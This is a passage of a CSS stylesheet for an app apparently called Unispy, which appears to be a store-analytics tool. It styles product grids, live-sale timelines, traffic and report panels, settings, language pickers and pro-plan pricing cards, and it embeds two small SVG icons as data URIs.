#unispy-app .unispy-shop-box .unispy-shop-product-info .unispy-shop-product-info-data-item {
flex-shrink: 0;
max-width: 25%;
padding: 5px 4px;
text-align: center;
width: 25%
}
#unispy-app .unispy-shop-box .unispy-shop-product-info .unispy-shop-product-info-data-item h3 {
color: #191919!important;
font-size: 14px!important;
font-weight: 700!important;
line-height: 21px!important;
margin: 0!important;
overflow: hidden;
text-align: center!important;
text-overflow: ellipsis;
white-space: nowrap
}
#unispy-app .unispy-shop-box .unispy-shop-product-info .unispy-shop-product-info-data-item p {
color: #7f7f7f;
font-size: 13px;
font-weight: 400;
line-height: 20px;
margin: 0 0 1px
}
#unispy-app .unispy-shop-box .unispy-shop-chart-box {
grid-gap: 20px 20px;
display: grid;
grid-template-columns: repeat(2,1fr);
margin-top: 18px
}
#unispy-app .unispy-shop-box .unispy-shop-chart-box .unispy-shop-chart-title {
align-items: center;
display: flex
}
#unispy-app .unispy-shop-box .unispy-shop-chart-box .unispy-shop-chart-title span {
align-items: baseline;
color: #7f7f7f;
display: flex;
font-size: 13px;
font-weight: 400;
line-height: 20px
}
#unispy-app .unispy-shop-box .unispy-shop-chart-box .unispy-shop-chart-title em {
color: #2184fd;
font-style: normal;
margin-left: 5px
}
#unispy-app .unispy-shop-box .unispy-shop-chart-box .unispy-shop-chart-container {
justify-content: center;
align-items: center;
display: flex;
margin-top: 5px;
height: 180px;
position: relative;
flex-direction: row
}
#unispy-app .unispy-shop-box .unispy-shop-chart-box .unispy-shop-chart-container.no_data:before {
animation: skeleton-loading 1.4s ease infinite;
background: linear-gradient(90deg,#f2f2f2 25%,#e6e6e6 37%,#f2f2f2 63%);
background-size: 400% 100%;
bottom: 0;
content: "";
left: 0;
position: absolute;
top: 0;
width: 100%
}
#unispy-app .unispy-shop-box .unispy-shop-chart-box .unispy-shop-chart-container.no_data:after {
align-items: center;
color: #999;
content: "No Data";
display: flex;
font-size: 14px;
justify-content: center;
left: 50%;
position: absolute;
top: 50%;
transform: translate(-50%,-50%)
}
#unispy-app .unispy-shop-box .unispy-shop-chart-box .unispy-shop-chart-container .unispy-empty-box {
flex-direction: row
}
#unispy-app .unispy-shop-box .unispy-shop-chart-box .unispy-shop-chart-container .unispy-empty-box .unispy-empty-logo {
width: 40px;
height: 40px
}
#unispy-app .unispy-product-top {
align-items: center;
display: flex;
justify-content: space-between;
padding: 20px 30px
}
#unispy-app .unispy-product-top .unispy-product-top-left h3 {
align-items: center;
color: #2184fd!important;
display: flex;
font-size: 18px!important;
font-weight: 700;
line-height: 27px!important;
margin: 0!important
}
#unispy-app .unispy-product-top .unispy-product-top-center {
display: flex;
flex-direction: row;
justify-content: center;
align-items: center
}
#unispy-app .unispy-product-top .unispy-product-top-right {
align-items: center;
display: flex;
flex-wrap: nowrap
}
#unispy-app .unispy-product-list-box {
background: #fff;
border-radius: 5px 0 0 0;
overflow: hidden;
padding: 10px
}
#unispy-app .unispy-product-list {
display: grid;
grid-template-columns: 1fr 1fr 1fr 1fr;
gap: 20px 10px
}
#unispy-app .unispy-product-list .unispy-product-item {
position: relative;
width: 190px
}
#unispy-app .unispy-product-list .unispy-product-item.is_new:after {
content: "NEW";
font-size: 11px;
font-weight: 500;
color: #c50309;
background: #e9ebf1;
padding: 2px 5px;
position: absolute;
top: 0;
right: 0;
border-radius: 0 6px
}
#unispy-app .unispy-product-list .unispy-product-item .unispy-checkbox {
-webkit-appearance: none;
-moz-appearance: none;
appearance: none;
background: #fff;
border: 1px solid #e9ebf1;
border-radius: 3px;
cursor: pointer;
font-size: 0;
height: 28px;
left: 12px;
position: absolute;
top: 12px;
width: 28px;
clip: auto!important
}
#unispy-app .unispy-product-list .unispy-product-item .unispy-checkbox:hover {
border: 1px solid #2184fd
}
#unispy-app .unispy-product-list .unispy-product-item .unispy-checkbox:checked {
background: #2184fd;
border: 1px solid #2184fd
}
#unispy-app .unispy-product-list .unispy-product-item .unispy-checkbox:checked:before {
background: url(data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iMTQ0IiBoZWlnaHQ9IjEwMCIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48cGF0aCBkPSJNMTQwLjIyNCAxOC43MjNMNTkuMjcgOTYuODI3Yy0yLjM2IDIuMjc2LTYuNjMzIDMuMzA3LTEwLjE3NCAzLjE1OS0zLjU1Ny4xNDgtNy44ODItLjg4LTEwLjI0Mi0zLjE1OUwzLjMyMSA2Mi41M2MtNC40MjgtNC4yNzEtNC40MjgtMTEuMjI2IDAtMTUuNTIyIDQuNDI5LTQuMjcyIDExLjYzNy00LjI3MiAxNi4wOSAwbDI5LjY2IDI4LjYzM0wxMjQuMTcgMy4yMDRjNC40NDQtNC4yNzIgMTEuNjQ3LTQuMjcyIDE2LjA5MiAwIDQuNDQ0IDQuMjk1IDQuNDQ0IDExLjI1LS4wMzcgMTUuNTJ6IiBmaWxsPSIjRkZGIi8+PC9zdmc+) 50% no-repeat;
background-size: 100% 100%;
content: "";
height: 10px;
left: 50%;
position: absolute;
top: 50%;
transform: translate(-50%,-50%);
width: 14px
}
#unispy-app .unispy-product-list .unispy-product-item .unispy-product-item-pic {
border: 1px solid #e9ebf1;
border-radius: 6px;
height: 190px;
margin: 0 auto;
max-width: 100%;
text-decoration: none;
width: 190px;
overflow: hidden
}
#unispy-app .unispy-product-list .unispy-product-item .unispy-product-item-name {
color: #191919;
display: block!important;
font-size: 14px;
font-weight: 700;
line-height: 21px;
margin: 6px 0 0;
overflow: hidden;
padding: 0!important;
text-decoration: none;
text-overflow: ellipsis;
white-space: nowrap
}
#unispy-app .unispy-product-list .unispy-product-item .unispy-product-item-name:hover {
color: #2184fd!important
}
#unispy-app .unispy-product-list .unispy-product-item p {
align-items: center;
display: flex;
flex-wrap: nowrap;
font-size: 0;
margin: 9px 0 0;
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap
}
#unispy-app .unispy-product-list .unispy-product-item p i {
color: #7f7f7f;
font-size: 13px;
font-style: normal;
font-weight: 400;
line-height: 20px
}
#unispy-app .unispy-product-list .unispy-product-item p span {
color: #2184fd;
font-size: 14px;
font-weight: 800;
line-height: 21px
}
#unispy-app .unispy-product-list .unispy-product-item p em {
color: #2f3032;
font-size: 13px;
font-style: normal;
font-weight: 600;
line-height: 20px
}
#unispy-app .unispy-product-list .unispy-product-item p+p {
margin-top: 2px
}
#unispy-app .unispy-live-sale-top {
align-items: center;
border-bottom: 1px solid #e9ebf0;
display: flex;
justify-content: space-between;
padding: 26px 30px 16px 34px
}
#unispy-app .unispy-live-sale-top .unispy-live-sale-top-left h3 {
align-items: center;
color: #2184fd!important;
display: flex;
font-size: 18px!important;
font-weight: 700;
line-height: 27px!important;
margin: 0!important
}
#unispy-app .unispy-live-sale-top .unispy-live-sale-top-left p {
align-items: center;
display: flex;
margin: 6px 0 0
}
#unispy-app .unispy-live-sale-top .unispy-live-sale-top-left p span {
color: #666;
font-size: 14px;
line-height: 21px
}
#unispy-app .unispy-live-sale-top .unispy-live-sale-top-left p a {
align-items: center;
cursor: pointer;
display: flex;
margin-left: 20px
}
#unispy-app .unispy-live-sale-top .unispy-live-sale-top-left p a:hover {
color: #2184fd;
opacity: .8
}
#unispy-app .unispy-live-sale-top .unispy-live-sale-top-left p a img {
height: 14px;
width: 14px
}
#unispy-app .unispy-live-sale-top .unispy-live-sale-top-left p a em {
color: #2184fd;
font-size: 14px;
font-style: normal;
font-weight: 400;
line-height: 16px;
margin-left: 4px;
text-decoration: underline
}
#unispy-app .unispy-live-sale-top .unispy-live-sale-top-right {
display: flex;
align-items: center
}
#unispy-app .unispy-live-sale-top .unispy-live-sale-top-right span {
align-items: center;
color: #2184fd;
display: flex;
flex-wrap: nowrap;
font-size: 18px;
font-weight: 700;
line-height: 24px;
margin-right: 10px
}
#unispy-app .unispy-live-sale-list {
padding: 10px 0;
position: relative;
background: #fff;
border-radius: 5px 0 0 0
}
#unispy-app .unispy-live-sale-list .unispy-live-sale-line {
background: #e9ebf0;
bottom: 0;
display: block!important;
left: 161px;
position: absolute;
top: 0;
width: 3px
}
#unispy-app .unispy-live-sale-list .unispy-live-sale-update {
align-items: center;
display: flex;
padding: 10px 54px 10px 197px
}
#unispy-app .unispy-live-sale-list .unispy-live-sale-update .unispy-live-sale-update-line {
background: #e9ebf1;
flex: 1;
height: 1px
}
#unispy-app .unispy-live-sale-list .unispy-live-sale-update span {
color: #666;
flex-shrink: 0;
font-size: 13px;
line-height: 15px;
margin: 0 16px
}
#unispy-app .unispy-live-sale-list .unispy-live-sale-item {
align-items: center;
display: flex;
padding: 10px 54px 10px 16px;
position: relative
}
#unispy-app .unispy-live-sale-list .unispy-live-sale-item .unispy-live-sale-item-left {
color: #666;
display: block!important;
flex-shrink: 0;
font-size: 13px;
font-weight: 400;
line-height: 20px;
text-align: center;
white-space: nowrap;
width: 138px
}
#unispy-app .unispy-live-sale-list .unispy-live-sale-item .unispy-live-sale-item-circle {
background: #ddd;
border-radius: 50%;
display: block!important;
height: 14px;
margin: 0 27px 0 1px;
width: 14px
}
#unispy-app .unispy-live-sale-list .unispy-live-sale-item .unispy-live-sale-item-right {
align-items: center;
background: none!important;
border-radius: 6px;
cursor: default!important;
display: flex!important;
flex: 1;
height: 108px;
padding: 16px!important;
text-decoration: none
}
#unispy-app .unispy-live-sale-list .unispy-live-sale-item .unispy-live-sale-item-right .unispy-live-sale-item-pic {
border: 1px solid #e9ebf1;
border-radius: 4px;
cursor: pointer;
height: 76px;
margin-right: 12px;
width: 76px
}
#unispy-app .unispy-live-sale-list .unispy-live-sale-item .unispy-live-sale-item-right .unispy-live-sale-item-pic img {
-o-object-fit: cover;
object-fit: cover;
height: 100%!important;
width: 100%!important
}
#unispy-app .unispy-live-sale-list .unispy-live-sale-item .unispy-live-sale-item-right .unispy-live-sale-item-main {
flex: 1;
width: 0
}
#unispy-app .unispy-live-sale-list .unispy-live-sale-item .unispy-live-sale-item-right .unispy-live-sale-item-main h3 {
color: #000!important;
cursor: pointer;
font-size: 14px!important;
font-weight: 700!important;
line-height: 21px!important;
margin: 0!important;
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap
}
#unispy-app .unispy-live-sale-list .unispy-live-sale-item .unispy-live-sale-item-right .unispy-live-sale-item-main h3:hover {
color: #2184fd!important
}
#unispy-app .unispy-live-sale-list .unispy-live-sale-item .unispy-live-sale-item-right .unispy-live-sale-item-main p {
align-items: center;
color: #7f7f7f;
display: flex;
flex-wrap: nowrap;
font-size: 13px;
font-weight: 400;
line-height: 20px;
margin: 4px 0 0
}
#unispy-app .unispy-live-sale-list .unispy-live-sale-item .unispy-live-sale-item-right .unispy-live-sale-item-main p span {
color: #2184fd;
font-size: 14px;
font-weight: 800;
line-height: 21px
}
#unispy-app .unispy-live-sale-list .unispy-live-sale-item.is_new .unispy-live-sale-item-circle {
animation: pulseBg 1.5s infinite
}
#unispy-app .unispy-live-sale-list .unispy-live-sale-item.is_new .unispy-live-sale-item-right {
background: #f2f8ff!important
}
#unispy-app .unispy-app-title {
padding: 28px 24px 17px
}
#unispy-app .unispy-app-title .unispy-app-title-head {
color: #2184fd;
font-size: 18px;
font-weight: 700;
line-height: 23px;
margin: 0;
padding: 0
}
#unispy-app .unispy-app-title .unispy-app-title-desc {
color: #666;
font-size: 14px;
font-weight: 400;
line-height: 18px;
margin: 8px 0 0;
padding: 0
}
#unispy-app .unispy-app-list {
display: grid;
grid-gap: 20px 10px;
grid-template-columns: repeat(2,1fr);
padding: 10px;
background: #fff;
border-radius: 5px 0 0 0;
overflow: hidden
}
#unispy-app .unispy-app-list .unispy-app-item {
background: #f7f8fa;
border-radius: 6px;
display: flex;
flex-direction: column;
flex-shrink: 0;
padding: 14px 20px
}
#unispy-app .unispy-app-list .unispy-app-item .unispy-app-name {
color: #191919;
flex-shrink: 0;
font-size: 16px;
font-weight: 700;
height: 24px;
line-height: 24px;
margin-bottom: 3px;
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap
}
#unispy-app .unispy-app-list .unispy-app-item .unispy-app-desc {
-webkit-box-orient: vertical;
-webkit-line-clamp: 4;
color: #7f7f7f;
display: -webkit-box;
flex: 1;
font-size: 13px;
font-weight: 400;
line-height: 18px;
margin-bottom: 18px;
max-height: 72px;
overflow: hidden;
text-overflow: ellipsis
}
#unispy-app .unispy-app-list .unispy-app-item .unispy-app-desc p {
color: #7f7f7f;
display: none;
font-size: 13px;
font-weight: 400;
height: 18px;
line-height: 18px;
position: relative
}
#unispy-app .unispy-app-list .unispy-app-item .unispy-app-button {
color: #2184fd!important;
flex-shrink: 0;
font-size: 14px!important;
font-weight: 600;
height: 21px!important;
line-height: 21px!important;
padding: 0!important;
text-decoration: none
}
#unispy-app .unispy-app-list .unispy-app-item .unispy-app-button :hover {
opacity: .8
}
#unispy-app .unispy-traffic {
padding: 10px
}
#unispy-app .unispy-traffic p a {
display: inline
}
#unispy-app .unispy-traffic-box {
display: grid;
grid-gap: 20px;
grid-template-columns: repeat(2,1fr)
}
#unispy-app .unispy-traffic-bar {
border-radius: 6px;
overflow: hidden;
box-shadow: 0 3px 6px 0 rgba(14,30,62,.08);
background-color: #fff;
margin-bottom: 16px;
display: flex;
flex-direction: column;
position: relative;
padding-top: 16px
}
#unispy-app .unispy-traffic-title {
font-size: 18px;
color: #2a3e52;
margin-left: 18px;
font-weight: 500;
font-style: normal;
font-stretch: normal;
line-height: 1.33;
letter-spacing: normal
}
#unispy-app .unispy-traffic-subtitle {
margin-top: 24px;
margin-left: 16px;
font-size: 14px;
color: #2a3e52;
margin-bottom: 16px
}
#unispy-app .unispy-traffic-line {
width: 438px;
border: 1px solid rgba(0,0,0,.12);
margin-top: 16px
}
#unispy-app .unispy-traffic-thead {
display: flex;
justify-content: space-between;
padding: 0 16px
}
#unispy-app .unispy-traffic-thead .unispy-traffic-thead-left,#unispy-app .unispy-traffic-thead .unispy-traffic-thead-right {
display: flex;
font-size: 12px;
font-weight: 500;
color: #2a3e52
}
#unispy-app .unispy-traffic-table-row {
display: flex;
height: 40px;
align-items: center;
justify-content: space-between;
margin: 0 16px
}
#unispy-app .unispy-traffic-table-row:not(:last-child) {
border-bottom: 1px solid rgba(0,0,0,.12)
}
#unispy-app .unispy-traffic-table-row .unispy-traffic-table-row-left {
display: flex;
align-items: center
}
#unispy-app .unispy-traffic-table-row .unispy-traffic-table-row-left img {
height: 20px;
width: 20px
}
#unispy-app .unispy-traffic-table-row .unispy-traffic-table-row-left span {
font-size: 16px;
color: rgba(9,37,64,.6);
margin-left: 8px
}
#unispy-app .unispy-traffic-table-row .unispy-traffic-table-row-right {
font-size: 16px;
color: #092540;
margin-left: 0
}
#unispy-app .unispy-report-box {
padding: 10px
}
#unispy-app .unispy-report-number-list {
grid-gap: 20px 10px;
display: grid;
grid-template-columns: repeat(2,1fr);
margin-bottom: 16px
}
#unispy-app .unispy-report-number-list .unispy-report-number-item {
display: flex;
flex-direction: column;
align-items: center;
background: #fff;
padding: 20px 10px;
border-radius: 5px;
box-shadow: 0 3px 6px 0 rgba(14,30,62,.08)
}
#unispy-app .unispy-report-number-list .unispy-report-number-item h3 {
font-size: 24px;
font-weight: 600;
line-height: 1.125;
margin-bottom: 5px
}
#unispy-app .unispy-report-number-list .unispy-report-number-item p {
font-size: 12px;
color: #666
}
#unispy-app .unispy-report-title {
align-items: center;
display: flex;
justify-content: space-between;
margin: -4px 0 0
}
#unispy-app .unispy-report-title span {
align-items: center;
color: #2f3032;
display: flex;
font-size: 18px;
font-weight: 700;
line-height: 27px
}
#unispy-app .unispy-report-title span em {
color: #2f3032;
font-style: normal;
margin-left: 4px
}
#unispy-app .unispy-report-title .more {
align-items: center;
background: #fff;
border: 1px solid #ccc;
border-radius: 4px;
display: flex;
height: 32px;
padding: 0 18px!important;
text-decoration: none
}
#unispy-app .unispy-report-title .more img {
height: 12px!important;
margin-left: 6px;
width: 6px!important
}
#unispy-app .unispy-report-title .more em {
color: #7f7f7f;
font-size: 13px;
font-style: normal;
font-weight: 400;
line-height: 20px
}
#unispy-app .unispy-report-title .more:hover {
border: 1px solid #2184fd;
color: #2184fd;
cursor: pointer
}
#unispy-app .unispy-report-title .more:hover em {
color: #2184fd
}
#unispy-app .unispy-report-title .more:hover img path {
fill: red
}
#unispy-app .unispy-report-subtitle {
display: flex;
justify-content: space-between;
align-items: center
}
#unispy-app .unispy-report-subtitle span {
align-items: center;
color: #7f7f7f;
display: flex;
font-size: 13px;
font-weight: 400;
line-height: 20px
}
#unispy-app .unispy-report-subtitle span em {
color: #2184fd;
font-style: normal;
margin-left: 5px
}
#unispy-app .unispy-report-bar {
background: #fff;
padding: 20px;
margin-bottom: 16px;
border-radius: 10px;
overflow: hidden
}
#unispy-app .unispy-report-product-list {
padding: 8px 0
}
#unispy-app .unispy-report-product-list .unispy-report-product-item {
align-items: center;
display: flex;
padding: 8px 0
}
#unispy-app .unispy-report-product-list .unispy-report-product-item .unispy-report-product-item-pic {
border: 1px solid #e9ebf1;
border-radius: 4px;
height: 66px;
margin-right: 13px;
width: 66px
}
#unispy-app .unispy-report-product-list .unispy-report-product-item .unispy-report-product-item-main {
display: flex;
flex: 1;
flex-direction: column;
justify-content: center;
width: 0
}
#unispy-app .unispy-report-product-list .unispy-report-product-item .unispy-report-product-item-main .unispy-report-product-item-name {
color: #000;
font-size: 14px;
font-weight: 700;
line-height: 21px;
margin: 0;
overflow: hidden;
padding: 0!important;
text-decoration: none;
text-overflow: ellipsis;
white-space: nowrap
}
#unispy-app .unispy-report-product-list .unispy-report-product-item .unispy-report-product-item-main .unispy-report-product-item-name:hover {
color: #2184fd;
cursor: pointer
}
#unispy-app .unispy-report-product-list .unispy-report-product-item .unispy-report-product-item-main p {
display: flex;
justify-content: space-between;
align-items: center;
margin: 5px 0 0
}
#unispy-app .unispy-report-product-list .unispy-report-product-item .unispy-report-product-item-main p span {
color: #7f7f7f;
font-size: 13px;
font-weight: 400;
line-height: 20px;
flex: 1;
display: flex
}
#unispy-app .unispy-report-product-list .unispy-report-product-item .unispy-report-product-item-main p em {
color: #191919;
font-size: 13px;
font-style: normal;
font-weight: 400;
line-height: 20px;
margin-left: 5px
}
#unispy-app .unispy-setting {
font-size: 14px;
padding: 20px 20px 20px 0
}
#unispy-app .unispy-setting-top {
padding: 28px 24px 17px;
display: flex;
align-items: center;
justify-content: space-between
}
#unispy-app .unispy-setting-top .unispy-setting-top-left h3 {
align-items: center;
color: #2184fd!important;
display: flex;
font-size: 18px!important;
font-weight: 700;
line-height: 27px!important;
margin: 0!important
}
#unispy-app .unispy-setting-top .unispy-setting-top-right {
align-items: center;
display: flex;
flex-wrap: nowrap
}
#unispy-app .unispy-setting-top .unispy-setting-top-right .unispy-btn {
margin-left: 10px
}
#unispy-app .unispy-setting-bar {
background: #fff;
padding: 20px;
border-radius: 5px
}
#unispy-app .unispy-setting-bar+.unispy-setting-bar {
margin-top: 16px
}
#unispy-app .unispy-setting-title {
align-items: center;
display: flex;
justify-content: space-between;
margin: -4px 0 0
}
#unispy-app .unispy-setting-title span {
align-items: center;
color: #2f3032;
display: flex;
font-size: 18px;
font-weight: 700;
line-height: 27px
}
#unispy-app .unispy-setting-title span em {
color: #2f3032;
font-style: normal;
margin-left: 4px
}
#unispy-app .unispy-setting-item-title {
display: flex;
flex-direction: row;
justify-content: space-between;
align-items: center;
margin: 20px 0 10px 0
}
#unispy-app .unispy-setting-item-title span {
align-items: center;
color: #7f7f7f;
display: flex;
font-size: 13px;
font-weight: 400;
line-height: 20px
}
#unispy-app .unispy-setting-input-box {
display: flex;
align-items: baseline;
flex-direction: row;
margin-bottom: 10px
}
#unispy-app .unispy-setting-input-box .unispy-textbox {
margin: 0 10px
}
#unispy-app .unispy-lang-position-row {
display: flex;
flex-direction: row;
justify-content: space-between
}
#unispy-app .unispy-language-box {
align-items: center;
display: flex;
justify-content: space-between;
position: relative
}
#unispy-app .unispy-language-box .unispy-language-label {
color: #191919;
font-size: 14px;
font-weight: 700;
line-height: 21px
}
#unispy-app .unispy-language-box .unispy-language-select-bar {
align-items: center;
display: flex;
flex-wrap: nowrap;
cursor: pointer
}
#unispy-app .unispy-language-box .unispy-language-select-bar .unispy-language-val {
align-items: center;
display: flex;
flex-wrap: nowrap
}
#unispy-app .unispy-language-box .unispy-language-select-bar .unispy-language-val img {
height: 19px!important;
width: 30px!important
}
#unispy-app .unispy-language-box .unispy-language-select-bar .unispy-language-val span {
color: #2f3032;
font-size: 13px;
font-weight: 400;
line-height: 20px;
margin-left: 4px
}
#unispy-app .unispy-language-box .unispy-language-select-bar .unispy-language-arrow {
background: url(data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iNTUiIGhlaWdodD0iMTAxIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjxwYXRoIGQ9Ik0yLjEwNiA5OC43NDFhNi44NjYgNi44NjYgMCAwMTAtOS43MDVMMzcuOTcgNTMuMTcxYTMuNDQgMy40NCAwIDAwMC00Ljg0MkwyLjEwNiAxMi40NjRhNi44NjYgNi44NjYgMCAwMTAtOS43MDUgNi44NjYgNi44NjYgMCAwMTkuNzA1IDBsMzguMjg2IDM4LjI4NmM1LjM1NyA1LjM1NiA1LjM1NyAxNC4wMzMgMCAxOS4zODlMMTEuODExIDk4Ljc0MWE2Ljg2NiA2Ljg2NiAwIDAxLTkuNzA1IDB6IiBmaWxsPSIjN0Y3RjdGIi8+PC9zdmc+) 50% no-repeat;
background-size: 100% 100%;
display: block!important;
height: 12px;
margin-left: 10px;
width: 6px
}
#unispy-app .unispy-language-box .unispy-language-select {
background: #fff;
border-radius: 4px;
bottom: calc(100% + 10px);
box-shadow: 0 0 14px 0 rgba(0,0,0,.1);
padding: 16px 0 0;
position: absolute;
left: 0;
width: 172px;
z-index: 9
}
#unispy-app .unispy-language-box .unispy-language-select:before {
border-left: 8px solid transparent;
border-right: 8px solid transparent;
border-top: 10px solid #fff;
content: "";
height: 0;
left: 78px;
position: absolute;
top: 100%;
width: 0
}
#unispy-app .unispy-language-box .unispy-language-select .unispy-language-select-title {
color: #191919;
font-size: 14px;
font-weight: 700;
line-height: 21px;
padding: 0 16px 11px
}
#unispy-app .unispy-language-box .unispy-language-select .unispy-language-option-list {
max-height: 270px;
overflow-y: auto
}
#unispy-app .unispy-language-box .unispy-language-select .unispy-language-option-list .unispy-language-option-item {
align-items: center;
cursor: pointer;
display: flex;
flex-wrap: nowrap;
padding: 9px 16px
}
#unispy-app .unispy-language-box .unispy-language-select .unispy-language-option-list .unispy-language-option-item:hover {
background-color: rgba(84,84,84,.129)!important
}
#unispy-app .unispy-language-box .unispy-language-select .unispy-language-option-list .unispy-language-option-item img {
height: 18px!important;
width: 30px!important
}
#unispy-app .unispy-language-box .unispy-language-select .unispy-language-option-list .unispy-language-option-item span {
color: #2f3032;
font-size: 13px;
font-weight: 400;
line-height: 20px;
margin-left: 10px
}
#unispy-app .unispy-help {
font-size: 14px;
width: 450px;
margin: 110px auto
}
#unispy-app .unispy-help-bar {
background: #fff;
padding: 20px;
border-radius: 5px
}
#unispy-app .unispy-help-bar+.unispy-help-bar {
margin-top: 16px
}
#unispy-app .unispy-help-title {
align-items: center;
display: flex;
justify-content: center;
margin: -4px 0 0
}
#unispy-app .unispy-help-title svg {
margin-right: 8px;
width: 18px;
height: 18px
}
#unispy-app .unispy-help-title span {
align-items: center;
color: #2f3032;
display: flex;
font-size: 18px;
font-weight: 700;
line-height: 27px
}
#unispy-app .unispy-help-content {
margin: 10px 0
}
#unispy-app .unispy-help-link {
display: flex;
align-items: center;
margin: 20px 10px;
justify-content: center
}
#unispy-app .unispy-help-link svg {
width: 18px;
height: 18px;
margin-right: 8px
}
#unispy-app .unispy-pro {
width: 450px;
margin: 30px auto;
background: #fff;
padding: 20px;
border-radius: 5px;
overflow: hidden
}
#unispy-app .unispy-pro p {
margin: 0
}
#unispy-app .unispy-pro-table {
font-size: 12px;
width: 100%;
background-color: #fff;
color: #363636;
border-collapse: collapse;
border-spacing: 0;
border-color: grey;
display: table;
margin-bottom: 10px
}
#unispy-app .unispy-pro-table tbody,#unispy-app .unispy-pro-table thead {
background-color: transparent
}
#unispy-app .unispy-pro-table thead {
display: table-header-group
}
#unispy-app .unispy-pro-table tbody {
display: table-row-group
}
#unispy-app .unispy-pro-table tr {
display: table-row
}
#unispy-app .unispy-pro-table tr:last-child td {
border-bottom-width: 0
}
#unispy-app .unispy-pro-table tr:nth-child(2n) {
background-color: #fafafa
}
#unispy-app .unispy-pro-table td,#unispy-app .unispy-pro-table th {
display: table-cell;
border: 1px solid #dbdbdb;
border-width: 0 0 1px;
padding: .5em .75em;
vertical-align: top
}
#unispy-app .unispy-pro-table th {
border-width: 0 0 2px;
color: #363636;
text-align: center
}
#unispy-app .unispy-pro-table th span {
display: inline
}
#unispy-app .unispy-pro-table th.unispy-pro-table-head-free {
color: #b5b5b5
}
#unispy-app .unispy-pro-table th.unispy-pro-table-head-vip {
color: #f14668
}
#unispy-app .unispy-pro-table th svg {
width: 16px;
height: 16px;
margin-right: 6px;
display: inline
}
#unispy-app .unispy-pro-table td img {
margin: 0 auto;
width: 14px;
min-height: 14px
}
#unispy-app .unispy-pro-discount {
font-weight: 700;
font-size: 12px;
padding: 4px;
text-align: center;
background-color: #ffe08a;
margin-bottom: 15px
}
#unispy-app .unispy-pro-discount p {
font-style: italic
}
#unispy-app .unispy-pro-discount p span,#unispy-app .unispy-pro-discount p svg {
display: inline
}
#unispy-app .unispy-pro-discount p svg {
width: 16px;
height: 16px;
margin: 0 2px;
fill: #fff
}
#unispy-app .unispy-pro-price-list {
padding: 0 1rem rem;
display: flex;
flex-direction: row
}
#unispy-app .unispy-pro-price-list .unispy-pro-price-card {
box-shadow: 0 6px 10px 0 rgba(31,53,70,.04),0 0 3px 0 rgba(31,53,70,.06),0 0 2px 0 rgba(0,0,0,.1);
margin: 0 .3rem;
position: relative
}
#unispy-app .unispy-pro-price-list .unispy-pro-price-card-content {
padding: .6rem .6rem .8rem .6rem;
border-bottom-left-radius: .25rem;
border-bottom-right-radius: .25rem
}
#unispy-app .unispy-pro-price-list .unispy-pro-price-card-content h2 {
font-weight: semi;
font-size: .75rem;
margin-bottom: .25rem
}
#unispy-app .unispy-pro-price-list .unispy-pro-price-tag {
align-items: center;
background-color: #f5f5f5;
border-radius: 4px;
color: #4a4a4a;
display: inline-flex;
font-size: .75rem;
height: 2em;
justify-content: center;
line-height: 1.5;
padding-left: .75em;
padding-right: .75em;
white-space: nowrap
}
#unispy-app .unispy-pro-price-list .unispy-pro-price-reserve {
text-align: center
}
#unispy-app .unispy-pro-price-list .unispy-pro-price-reserve .unispy-pro-price-tag {
border-radius: 9999px;
text-decoration: line-through;
text-align: center
}
#unispy-app .unispy-pro-price-list .unispy-pro-price-month-amt {
color: #0a0a0a;
text-align: center;
font-size: 1.5rem;
font-weight: 600!important
}
#unispy-app .unispy-pro-price-list .unispy-pro-price-month-amt span {
display: inline
}
#unispy-app .unispy-pro-price-list .unispy-pro-price-month-amt .unispy-pro-price-symbol {
margin-right: 2px;
color: #b5b5b5;
font-weight: 700;
font-size: .75rem
}
#unispy-app .unispy-pro-price-list .unispy-pro-price-month-amt .unispy-pro-price-month {
font-weight: 400;
font-size: .75rem
}
#unispy-app .unispy-pro-price-list .unispy-pro-price-total-amt {
font-size: 11px;
color: #7a7a7a;
text-align: center;
margin-bottom: .5rem
}
#unispy-app .unispy-pro-price-list .unispy-pro-price-button {
align-items: center;
border-radius: 4px;
box-shadow: none;
display: inline-flex;
height: 2.5em;
justify-content: flex-start;
line-height: 1.5;
position: relative;
vertical-align: top;
border-width: 1px;
cursor: pointer;
justify-content: center;
padding-bottom: calc(.5em - 1px);
padding-left: 1em;
padding-right: 1em;
padding-top: calc(.5em - 1px);
text-align: center;
white-space: nowrap;
border-color: transparent;
font-size: 14px;
border: 0;
background-color: #f14668;
color: #fff;
width: 100%
}
#unispy-app .unispy-pro-price-list .unispy-pro-price-button:hover {
opacity: .8
}
#unispy-app .unispy-pro-price-list .unispy-pro-price-popular {
position: absolute;
top: -.6rem;
right: .2rem;
font-weight: semi;
background-color: #effaf5;
color: #257953
}
#unispy-app .unispy-pro-confident {
font-size: 11px;
color: #7a7a7a;
margin-top: .5rem;
text-align: center
}
#unispy-app .unispy-pro-confident span {
display: inline
}
#unispy-app .unispy-pro-confident svg {
display: inline;
width: 14px;
height: 14px
}
#unispy-app .unispy-pro-confident .unispy-pro-confident-bold {
font-weight: 700
}
#unispy-app .unispy-pro-confident-logo img {
margin: 0 auto
}
#unispy-app .unispy-pro-vip {
margin-top: 30px;
font-size: 14px
}
#unispy-app .unispy-pro-vip .unispy-pro-vip-diamond {
width: 48px;
height: 48px;
margin: 0 auto
}
#unispy-app .unispy-pro-vip .unispy-pro-vip-content {
margin: 20px 10px
}
#unispy-app .unispy-pro-vip .unispy-pro-vip-buttons {
margin: 20px 10px;
display: flex;
flex-direction: row;
justify-content: center
}
#unispy-app .unispy-pro-vip .unispy-pro-vip-msg {
background-color: #feffc4;
color: rgba(0,0,0,.7);
padding: 10px;
border-radius: 5px;
font-size: 13px;
line-height: 1.25
}
#unispy-app .unispy-embed-vip {
width: 840px;
height: 600px;
display: flex;
flex-direction: column;
justify-content: center;
align-items: center
}
#unispy-app .unispy-embed-vip-box {
padding: 20px;
background: #fff;
border-radius: 5px;
width: 450px
}
#unispy-app .unispy-embed-vip-box h3 {
font-size: 2rem;
color: #f14668
}
#unispy-app .unispy-embed-vip-box p {
margin-top: 1rem;
margin-bottom: 1rem;
line-height: 1.25
}
#unispy-app .unispy-embed-vip-box .unispy-embed-vip-box-buttons {
display: flex;
